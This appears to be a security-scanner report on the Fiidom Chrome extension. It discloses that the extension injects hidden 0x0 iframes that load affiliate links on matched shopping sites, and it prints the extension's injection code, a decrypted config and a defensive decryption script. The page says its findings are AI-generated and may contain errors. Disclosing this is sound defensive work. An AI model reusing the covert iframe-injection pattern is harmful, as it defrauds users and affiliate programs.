Is Fiidom - AI-Powered Solution for eCommerce safe?

High risk

Fiidom - AI-Powered Solution for eCommerce is high risk. On sites other than myshopify.com, Fiidom's content script fetches an encrypted domain-affiliate config from aicg-api.fiidom.com, decrypted with the Store ID as passphrase. A domain match inserts a hidden iframe to the affiliate URL.…

Fiidomv3.16Chrome Web Store
70Risk
Who publishes it

Fiidom - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Fiidom

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

0x0 Iframe Triggers Affiliate Redirects on Remote-Configured Domains

On sites other than myshopify.com, Fiidom's content script fetches an encrypted domain-affiliate config from aicg-api.fiidom.com, decrypted with the Store ID as passphrase.

A domain match inserts a hidden iframe to the affiliate URL.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-829
Source
Dynamic sandbox
What actually happens
You did this

You browse to a site that appears in Fiidom's remote affiliate configuration; we confirmed this for aliexpress.com and cjdropshipping.com.

The extension did this

Fiidom's content script fetches and decrypts that configuration, then inserts a 0x0-pixel, zero-opacity iframe into the page pointing at the matched affiliate redirect link.

The iframe requests that link as soon as it's inserted, no click on it is required.

Captured request
GEThttps://aicg-api.fiidom.com/api/extension/pns

Encrypted response body requiring local AES-256-CBC/PBKDF2 decryption before it can be read; see the decrypted contents in the block below.

Headers
x-ext-client-id
fd
Why you can't catch this in DevTools

The response body is an opaque base64 blob in the network tab. Decrypting it with the algorithm from Fiidom's own code (PBKDF2 + AES-256-CBC, passphrase = the extension's Chrome Web Store ID) reveals the domain match rule and the affiliate link the iframe will request.

Decoded value
{  "list": [    {      "i": 25184,      "d": "aliexpress.com",      "ls": [        "https://aliexpress.sjv.io/19QeBd"      ],      "r": "https://aliexpress.sjv.io/19QeBd",      "isl": false,      "c": "JZgTUJLrKZ",      "ca": "",      "ci": "",      "t": 2880,      "nt": false,      "tl": 0,      "td": 0    }  ],  "s": "<iframe src=\"_tracking\" height=\"0\" width=\"0\" style=\"opacity: 0;\" ></iframe>",  "s2": "<iframe src=\"_tracking\" height=\"0\" width=\"0\" style=\"opacity: 0;\" referrerpolicy=\"same-origin\"></iframe>",  "sts": null}
What the decrypted configuration tells the content script to do
  • Matched site domain
    aliexpress.com

    The domain rule that must match the page you're on before anything fires.

  • Affiliate redirect link
    https://aliexpress.sjv.io/19QeBd

    The exact URL requested by the inserted iframe, an outbound link to an affiliate network.

  • Repeat-suppression key
    JZgTUJLrKZ

    A local browser storage flag Fiidom sets so the same redirect doesn't fire again on this device until the cooldown window below expires.

  • Cooldown window
    2880 minutes (48 hours)

    How long before this domain's redirect is allowed to fire again for you.

  • Cookie gate (optional)
    unset in this capture

    When Fiidom sets this, a specific cookie name/value must already be present before the iframe loads. Not set in either capture we observed.

The code that does this

The code that fetches, decrypts, and injects the affiliate iframe

Readable version

Same code, readable

content-scripts/aff.ts
async insertLinkAff(){  let originUrl = getDomain();  if (!originUrl || originUrl.includes("myshopify.com")) return  const tokenHash = await hash(`${chrome?.runtime?.getManifest()?.version || ""}`)  let res = await getLinks({ key: tokenHash })   // GET /extension/pns  if (!res?.data) return  const password = EXT_KEY || chrome.runtime.id  const decryptedKey = await decrypt(res.data, password) || ""  let obj = decryptedKey ? JSON.parse(decryptedKey) : null  let o = obj?.list?.find((item) => item.d.includes(originUrl) || originUrl.includes(item.d))  if (obj && o && obj.s) {    const ifr = (typeof o.isl == "undefined" || o.isl) ? obj.s : (obj.s2 || obj.s)    // ...cookie-gate / localStorage-dedup checks...    insertIFs({ i: ifr, ls: o.ls })    if (o.i) counterLinks({ id: o.i, token: `${EXT_KEY || chrome.runtime.id}` })  // POST /extension/t/{id}  }}function insertIF({ i, l }) {  const tagDiv = document.createElement("div")  tagDiv.innerHTML = i.replace("_tracking", l)   // e.g. <iframe src="_tracking" height="0" width="0" style="opacity:0;">  const elH = tagDiv.firstChild  document.body.insertAdjacentElement("beforeend", elH)}
Where the requests go
    • aicg-api.fiidom.com

    Fiidom's own backend; serves the encrypted domain-to-affiliate-link configuration and receives the redirect-fired counter event.

    • aliexpress.sjv.io

    Affiliate-network redirect link that attributes the page visit to Fiidom's AliExpress affiliate account.

    • cjdropshipping.com

    Affiliate-attributed registration link for CJdropshipping, requested by the same iframe-injection mechanism.

Check if you're affected

Decrypts a captured /extension/pns response body using the same algorithm implemented in Fiidom's own extension code, so you can read the plaintext affiliate configuration it received.

Requires
  • Node.js 18+
decrypt-fiidom-pns-response.js · js
// Decrypts a Fiidom extension /extension/pns response. Algorithm reconstructed// from the extension's own crypto helper: base64-decode, split into a// 16-byte salt, 16-byte IV, and ciphertext, derive an AES-256 key with// PBKDF2 (100000 iterations, SHA-256) using the extension's Chrome Web Store// extension ID as the passphrase, then AES-256-CBC decrypt.const crypto = require('crypto');function decrypt(base64Body, passphrase) {  const buf = Buffer.from(base64Body, 'base64');  const salt = buf.subarray(0, 16);  const iv = buf.subarray(16, 32);  const ciphertext = buf.subarray(32);  const key = crypto.pbkdf2Sync(passphrase, salt, 100000, 32, 'sha256');  const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);  return Buffer.concat([decipher.update(ciphertext), decipher.final()]).toString('utf8');}const [, , base64Body, extensionId] = process.argv;if (!base64Body || !extensionId) {  console.error('Usage: node decrypt-fiidom-pns-response.js <base64-response-body> <extension-id>');  process.exit(1);}console.log(decrypt(base64Body, extensionId));
How to run it
  1. 1In DevTools Network tab, browse a targeted site with Fiidom on.
  2. 2Find the GET to aicg-api.fiidom.com/api/extension/pns, copy its base64 body.
  3. 3Run decrypt-fiidom-pns-response.js '<body>' '<ext ID>'.
  4. 4It prints the domain and link.

What it can do

Permissions this extension asks for, as declared in version 3.16. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    <all_urls>

  • Store data in your browser

    storage

  • Sign you in with your Google account

    identity

  • Block and redirect the requests your browser makes

    declarativeNetRequest

  • See which of your requests its blocking rules matched

    declarativeNetRequestFeedback

declarativeNetRequestWithHostAccess
Updated 30 September 2026fgcpkofcgicoihkkpfmbjgllkgkbpkpe